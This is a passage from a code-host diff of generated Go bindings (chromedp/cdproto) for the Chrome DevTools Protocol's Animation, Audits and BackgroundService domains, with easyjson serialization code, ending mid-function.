// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-seekAnimations
//
// parameters:
//
// animations - List of animation ids to seek.
// currentTime - Set the current time of each animation.
func SeekAnimations(animations []string, currentTime float64) *SeekAnimationsParams {
return &SeekAnimationsParams{
Animations: animations,
CurrentTime: currentTime,
}
}
// Do executes Animation.seekAnimations against the provided context.
func (p *SeekAnimationsParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSeekAnimations, p, nil)
}
// SetPausedParams sets the paused state of a set of animations.
type SetPausedParams struct {
Animations []string `json:"animations"` // Animations to set the pause state of.
Paused bool `json:"paused"` // Paused state to set to.
}
// SetPaused sets the paused state of a set of animations.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-setPaused
//
// parameters:
//
// animations - Animations to set the pause state of.
// paused - Paused state to set to.
func SetPaused(animations []string, paused bool) *SetPausedParams {
return &SetPausedParams{
Animations: animations,
Paused: paused,
}
}
// Do executes Animation.setPaused against the provided context.
func (p *SetPausedParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetPaused, p, nil)
}
// SetPlaybackRateParams sets the playback rate of the document timeline.
type SetPlaybackRateParams struct {
PlaybackRate float64 `json:"playbackRate"` // Playback rate for animations on page
}
// SetPlaybackRate sets the playback rate of the document timeline.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-setPlaybackRate
//
// parameters:
//
// playbackRate - Playback rate for animations on page
func SetPlaybackRate(playbackRate float64) *SetPlaybackRateParams {
return &SetPlaybackRateParams{
PlaybackRate: playbackRate,
}
}
// Do executes Animation.setPlaybackRate against the provided context.
func (p *SetPlaybackRateParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetPlaybackRate, p, nil)
}
// SetTimingParams sets the timing of an animation node.
type SetTimingParams struct {
AnimationID string `json:"animationId"` // Animation id.
Duration float64 `json:"duration"` // Duration of the animation.
Delay float64 `json:"delay"` // Delay of the animation.
}
// SetTiming sets the timing of an animation node.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#method-setTiming
//
// parameters:
//
// animationID - Animation id.
// duration - Duration of the animation.
// delay - Delay of the animation.
func SetTiming(animationID string, duration float64, delay float64) *SetTimingParams {
return &SetTimingParams{
AnimationID: animationID,
Duration: duration,
Delay: delay,
}
}
// Do executes Animation.setTiming against the provided context.
func (p *SetTimingParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetTiming, p, nil)
}
// Command names.
const (
CommandDisable = "Animation.disable"
CommandEnable = "Animation.enable"
CommandGetCurrentTime = "Animation.getCurrentTime"
CommandGetPlaybackRate = "Animation.getPlaybackRate"
CommandReleaseAnimations = "Animation.releaseAnimations"
CommandResolveAnimation = "Animation.resolveAnimation"
CommandSeekAnimations = "Animation.seekAnimations"
CommandSetPaused = "Animation.setPaused"
CommandSetPlaybackRate = "Animation.setPlaybackRate"
CommandSetTiming = "Animation.setTiming"
)
File diff suppressed because it is too large. Load diff
+24
View File
@@ -0,0 +1,24 @@
package animation
// Code generated by cdproto-gen. DO NOT EDIT.
// EventAnimationCanceled event for when an animation has been cancelled.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#event-animationCanceled
type EventAnimationCanceled struct {
ID string `json:"id"` // Id of the animation that was cancelled.
}
// EventAnimationCreated event for each animation that has been created.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#event-animationCreated
type EventAnimationCreated struct {
ID string `json:"id"` // Id of the animation that was created.
}
// EventAnimationStarted event for animation that has been started.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#event-animationStarted
type EventAnimationStarted struct {
Animation *Animation `json:"animation"` // Animation that was started.
}
+107
View File
@@ -0,0 +1,107 @@
package animation
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/chromedp/cdproto/cdp"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// Animation animation instance.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-Animation
type Animation struct {
ID string `json:"id"` // Animation's id.
Name string `json:"name"` // Animation's name.
PausedState bool `json:"pausedState"` // Animation's internal paused state.
PlayState string `json:"playState"` // Animation's play state.
PlaybackRate float64 `json:"playbackRate"` // Animation's playback rate.
StartTime float64 `json:"startTime"` // Animation's start time.
CurrentTime float64 `json:"currentTime"` // Animation's current time.
Type Type `json:"type"` // Animation type of Animation.
Source *Effect `json:"source,omitempty"` // Animation's source animation node.
CSSID string `json:"cssId,omitempty"` // A unique ID for Animation representing the sources that triggered this CSS animation/transition.
}
// Effect animationEffect instance.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-AnimationEffect
type Effect struct {
Delay float64 `json:"delay"` // AnimationEffect's delay.
EndDelay float64 `json:"endDelay"` // AnimationEffect's end delay.
IterationStart float64 `json:"iterationStart"` // AnimationEffect's iteration start.
Iterations float64 `json:"iterations"` // AnimationEffect's iterations.
Duration float64 `json:"duration"` // AnimationEffect's iteration duration.
Direction string `json:"direction"` // AnimationEffect's playback direction.
Fill string `json:"fill"` // AnimationEffect's fill mode.
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // AnimationEffect's target node.
KeyframesRule *KeyframesRule `json:"keyframesRule,omitempty"` // AnimationEffect's keyframes.
Easing string `json:"easing"` // AnimationEffect's timing function.
}
// KeyframesRule keyframes Rule.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-KeyframesRule
type KeyframesRule struct {
Name string `json:"name,omitempty"` // CSS keyframed animation's name.
Keyframes []*KeyframeStyle `json:"keyframes"` // List of animation keyframes.
}
// KeyframeStyle keyframe Style.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-KeyframeStyle
type KeyframeStyle struct {
Offset string `json:"offset"` // Keyframe's time offset.
Easing string `json:"easing"` // AnimationEffect's timing function.
}
// Type animation type of Animation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Animation#type-Animation
type Type string
// String returns the Type as string value.
func (t Type) String() string {
return string(t)
}
// Type values.
const (
TypeCSSTransition Type = "CSSTransition"
TypeCSSAnimation Type = "CSSAnimation"
TypeWebAnimation Type = "WebAnimation"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t Type) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t Type) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch Type(in.String()) {
case TypeCSSTransition:
*t = TypeCSSTransition
case TypeCSSAnimation:
*t = TypeCSSAnimation
case TypeWebAnimation:
*t = TypeWebAnimation
default:
in.AddError(errors.New("unknown Type value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *Type) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
+156
View File
@@ -0,0 +1,156 @@
// Package audits provides the Chrome DevTools Protocol
// commands, types, and events for the Audits domain.
//
// Audits domain allows investigation of page violations and possible
// improvements.
//
// Generated by the cdproto-gen command.
package audits
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"encoding/base64"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
)
// GetEncodedResponseParams returns the response body and size if it were
// re-encoded with the specified settings. Only applies to images.
type GetEncodedResponseParams struct {
RequestID network.RequestID `json:"requestId"` // Identifier of the network request to get content for.
Encoding GetEncodedResponseEncoding `json:"encoding"` // The encoding to use.
Quality float64 `json:"quality,omitempty"` // The quality of the encoding (0-1). (defaults to 1)
SizeOnly bool `json:"sizeOnly,omitempty"` // Whether to only return the size information (defaults to false).
}
// GetEncodedResponse returns the response body and size if it were
// re-encoded with the specified settings. Only applies to images.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-getEncodedResponse
//
// parameters:
//
// requestID - Identifier of the network request to get content for.
// encoding - The encoding to use.
func GetEncodedResponse(requestID network.RequestID, encoding GetEncodedResponseEncoding) *GetEncodedResponseParams {
return &GetEncodedResponseParams{
RequestID: requestID,
Encoding: encoding,
}
}
// WithQuality the quality of the encoding (0-1). (defaults to 1).
func (p GetEncodedResponseParams) WithQuality(quality float64) *GetEncodedResponseParams {
p.Quality = quality
return &p
}
// WithSizeOnly whether to only return the size information (defaults to
// false).
func (p GetEncodedResponseParams) WithSizeOnly(sizeOnly bool) *GetEncodedResponseParams {
p.SizeOnly = sizeOnly
return &p
}
// GetEncodedResponseReturns return values.
type GetEncodedResponseReturns struct {
Body string `json:"body,omitempty"` // The encoded body as a base64 string. Omitted if sizeOnly is true.
OriginalSize int64 `json:"originalSize,omitempty"` // Size before re-encoding.
EncodedSize int64 `json:"encodedSize,omitempty"` // Size after re-encoding.
}
// Do executes Audits.getEncodedResponse against the provided context.
//
// returns:
//
// body - The encoded body as a base64 string. Omitted if sizeOnly is true.
// originalSize - Size before re-encoding.
// encodedSize - Size after re-encoding.
func (p *GetEncodedResponseParams) Do(ctx context.Context) (body []byte, originalSize int64, encodedSize int64, err error) {
// execute
var res GetEncodedResponseReturns
err = cdp.Execute(ctx, CommandGetEncodedResponse, p, &res)
if err != nil {
return nil, 0, 0, err
}
// decode
var dec []byte
dec, err = base64.StdEncoding.DecodeString(res.Body)
if err != nil {
return nil, 0, 0, err
}
return dec, res.OriginalSize, res.EncodedSize, nil
}
// DisableParams disables issues domain, prevents further issues from being
// reported to the client.
type DisableParams struct{}
// Disable disables issues domain, prevents further issues from being
// reported to the client.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes Audits.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// EnableParams enables issues domain, sends the issues collected so far to
// the client by means of the issueAdded event.
type EnableParams struct{}
// Enable enables issues domain, sends the issues collected so far to the
// client by means of the issueAdded event.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-enable
func Enable() *EnableParams {
return &EnableParams{}
}
// Do executes Audits.enable against the provided context.
func (p *EnableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandEnable, nil, nil)
}
// CheckContrastParams runs the contrast check for the target page. Found
// issues are reported using Audits.issueAdded event.
type CheckContrastParams struct {
ReportAAA bool `json:"reportAAA,omitempty"` // Whether to report WCAG AAA level issues. Default is false.
}
// CheckContrast runs the contrast check for the target page. Found issues
// are reported using Audits.issueAdded event.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#method-checkContrast
//
// parameters:
func CheckContrast() *CheckContrastParams {
return &CheckContrastParams{}
}
// WithReportAAA whether to report WCAG AAA level issues. Default is false.
func (p CheckContrastParams) WithReportAAA(reportAAA bool) *CheckContrastParams {
p.ReportAAA = reportAAA
return &p
}
// Do executes Audits.checkContrast against the provided context.
func (p *CheckContrastParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandCheckContrast, p, nil)
}
// Command names.
const (
CommandGetEncodedResponse = "Audits.getEncodedResponse"
CommandDisable = "Audits.disable"
CommandEnable = "Audits.enable"
CommandCheckContrast = "Audits.checkContrast"
)
File diff suppressed because it is too large. Load diff
+10
View File
@@ -0,0 +1,10 @@
package audits
// Code generated by cdproto-gen. DO NOT EDIT.
// EventIssueAdded [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#event-issueAdded
type EventIssueAdded struct {
Issue *InspectorIssue `json:"issue"`
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,118 @@
// Package backgroundservice provides the Chrome DevTools Protocol
// commands, types, and events for the BackgroundService domain.
//
// Defines events for background web platform features.
//
// Generated by the cdproto-gen command.
package backgroundservice
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
)
// StartObservingParams enables event updates for the service.
type StartObservingParams struct {
Service ServiceName `json:"service"`
}
// StartObserving enables event updates for the service.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-startObserving
//
// parameters:
//
// service
func StartObserving(service ServiceName) *StartObservingParams {
return &StartObservingParams{
Service: service,
}
}
// Do executes BackgroundService.startObserving against the provided context.
func (p *StartObservingParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandStartObserving, p, nil)
}
// StopObservingParams disables event updates for the service.
type StopObservingParams struct {
Service ServiceName `json:"service"`
}
// StopObserving disables event updates for the service.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-stopObserving
//
// parameters:
//
// service
func StopObserving(service ServiceName) *StopObservingParams {
return &StopObservingParams{
Service: service,
}
}
// Do executes BackgroundService.stopObserving against the provided context.
func (p *StopObservingParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandStopObserving, p, nil)
}
// SetRecordingParams set the recording state for the service.
type SetRecordingParams struct {
ShouldRecord bool `json:"shouldRecord"`
Service ServiceName `json:"service"`
}
// SetRecording set the recording state for the service.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-setRecording
//
// parameters:
//
// shouldRecord
// service
func SetRecording(shouldRecord bool, service ServiceName) *SetRecordingParams {
return &SetRecordingParams{
ShouldRecord: shouldRecord,
Service: service,
}
}
// Do executes BackgroundService.setRecording against the provided context.
func (p *SetRecordingParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetRecording, p, nil)
}
// ClearEventsParams clears all stored data for the service.
type ClearEventsParams struct {
Service ServiceName `json:"service"`
}
// ClearEvents clears all stored data for the service.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#method-clearEvents
//
// parameters:
//
// service
func ClearEvents(service ServiceName) *ClearEventsParams {
return &ClearEventsParams{
Service: service,
}
}
// Do executes BackgroundService.clearEvents against the provided context.
func (p *ClearEventsParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandClearEvents, p, nil)
}
// Command names.
const (
CommandStartObserving = "BackgroundService.startObserving"
CommandStopObserving = "BackgroundService.stopObserving"
CommandSetRecording = "BackgroundService.setRecording"
CommandClearEvents = "BackgroundService.clearEvents"
)
+680
View File
@@ -0,0 +1,680 @@
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
package backgroundservice
import (
json "encoding/json"
cdp "github.com/chromedp/cdproto/cdp"
serviceworker "github.com/chromedp/cdproto/serviceworker"
easyjson "github.com/mailru/easyjson"
jlexer "github.com/mailru/easyjson/jlexer"
jwriter "github.com/mailru/easyjson/jwriter"
)
// suppress unused package warning
var (
_ *json.RawMessage
_ *jlexer.Lexer
_ *jwriter.Writer
_ easyjson.Marshaler
)
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice(in *jlexer.Lexer, out *StopObservingParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "service":
(out.Service).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice(out *jwriter.Writer, in StopObservingParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"service\":"
out.RawString(prefix[1:])
(in.Service).MarshalEasyJSON(out)
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v StopObservingParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v StopObservingParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *StopObservingParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *StopObservingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice1(in *jlexer.Lexer, out *StartObservingParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "service":
(out.Service).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice1(out *jwriter.Writer, in StartObservingParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"service\":"
out.RawString(prefix[1:])
(in.Service).MarshalEasyJSON(out)
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v StartObservingParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v StartObservingParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *StartObservingParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *StartObservingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice2(in *jlexer.Lexer, out *SetRecordingParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "shouldRecord":
out.ShouldRecord = bool(in.Bool())
case "service":
(out.Service).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice2(out *jwriter.Writer, in SetRecordingParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"shouldRecord\":"
out.RawString(prefix[1:])
out.Bool(bool(in.ShouldRecord))
}
{
const prefix string = ",\"service\":"
out.RawString(prefix)
(in.Service).MarshalEasyJSON(out)
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v SetRecordingParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice2(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetRecordingParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice2(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetRecordingParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice2(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetRecordingParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice2(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice3(in *jlexer.Lexer, out *EventRecordingStateChanged) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "isRecording":
out.IsRecording = bool(in.Bool())
case "service":
(out.Service).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice3(out *jwriter.Writer, in EventRecordingStateChanged) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"isRecording\":"
out.RawString(prefix[1:])
out.Bool(bool(in.IsRecording))
}
{
const prefix string = ",\"service\":"
out.RawString(prefix)
(in.Service).MarshalEasyJSON(out)
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventRecordingStateChanged) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice3(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventRecordingStateChanged) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice3(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventRecordingStateChanged) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice3(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventRecordingStateChanged) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice3(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice4(in *jlexer.Lexer, out *EventMetadata) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "key":
out.Key = string(in.String())
case "value":
out.Value = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice4(out *jwriter.Writer, in EventMetadata) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"key\":"
out.RawString(prefix[1:])
out.String(string(in.Key))
}
{
const prefix string = ",\"value\":"
out.RawString(prefix)
out.String(string(in.Value))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventMetadata) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice4(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventMetadata) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice4(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventMetadata) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice4(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventMetadata) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice4(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice5(in *jlexer.Lexer, out *EventBackgroundServiceEventReceived) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "backgroundServiceEvent":
if in.IsNull() {
in.Skip()
out.BackgroundServiceEvent = nil
} else {
if out.BackgroundServiceEvent == nil {
out.BackgroundServiceEvent = new(Event)
}
(*out.BackgroundServiceEvent).UnmarshalEasyJSON(in)
}
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice5(out *jwriter.Writer, in EventBackgroundServiceEventReceived) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"backgroundServiceEvent\":"
out.RawString(prefix[1:])
if in.BackgroundServiceEvent == nil {
out.RawString("null")
} else {
(*in.BackgroundServiceEvent).MarshalEasyJSON(out)
}
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventBackgroundServiceEventReceived) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice5(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventBackgroundServiceEventReceived) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice5(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventBackgroundServiceEventReceived) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice5(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventBackgroundServiceEventReceived) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice5(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(in *jlexer.Lexer, out *Event) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "timestamp":
if in.IsNull() {
in.Skip()
out.Timestamp = nil
} else {
if out.Timestamp == nil {
out.Timestamp = new(cdp.TimeSinceEpoch)
}
(*out.Timestamp).UnmarshalEasyJSON(in)
}
case "origin":
out.Origin = string(in.String())
case "serviceWorkerRegistrationId":
out.ServiceWorkerRegistrationID = serviceworker.RegistrationID(in.String())
case "service":
(out.Service).UnmarshalEasyJSON(in)
case "eventName":
out.EventName = string(in.String())
case "instanceId":
out.InstanceID = string(in.String())
case "eventMetadata":
if in.IsNull() {
in.Skip()
out.EventMetadata = nil
} else {
in.Delim('[')
if out.EventMetadata == nil {
if !in.IsDelim(']') {
out.EventMetadata = make([]*EventMetadata, 0, 8)
} else {
out.EventMetadata = []*EventMetadata{}
}
} else {
out.EventMetadata = (out.EventMetadata)[:0]
}
for !in.IsDelim(']') {
var v1 *EventMetadata
if in.IsNull() {
in.Skip()
v1 = nil
} else {
if v1 == nil {
v1 = new(EventMetadata)
}
(*v1).UnmarshalEasyJSON(in)
}
out.EventMetadata = append(out.EventMetadata, v1)
in.WantComma()
}
in.Delim(']')
}
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(out *jwriter.Writer, in Event) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"timestamp\":"
out.RawString(prefix[1:])
if in.Timestamp == nil {
out.RawString("null")
} else {
(*in.Timestamp).MarshalEasyJSON(out)
}
}
{
const prefix string = ",\"origin\":"
out.RawString(prefix)
out.String(string(in.Origin))
}
{
const prefix string = ",\"serviceWorkerRegistrationId\":"
out.RawString(prefix)
out.String(string(in.ServiceWorkerRegistrationID))
}
{
const prefix string = ",\"service\":"
out.RawString(prefix)
(in.Service).MarshalEasyJSON(out)
}
{
const prefix string = ",\"eventName\":"
out.RawString(prefix)
out.String(string(in.EventName))
}
{
const prefix string = ",\"instanceId\":"
out.RawString(prefix)
out.String(string(in.InstanceID))
}
{
const prefix string = ",\"eventMetadata\":"
out.RawString(prefix)
if in.EventMetadata == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
out.RawString("null")
} else {
out.RawByte('[')
for v2, v3 := range in.EventMetadata {
if v2 > 0 {
out.RawByte(',')
}
if v3 == nil {
out.RawString("null")
} else {
(*v3).MarshalEasyJSON(out)
}
}
out.RawByte(']')
}
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v Event) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v Event) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *Event) UnmarshalJSON(data []byte) error {
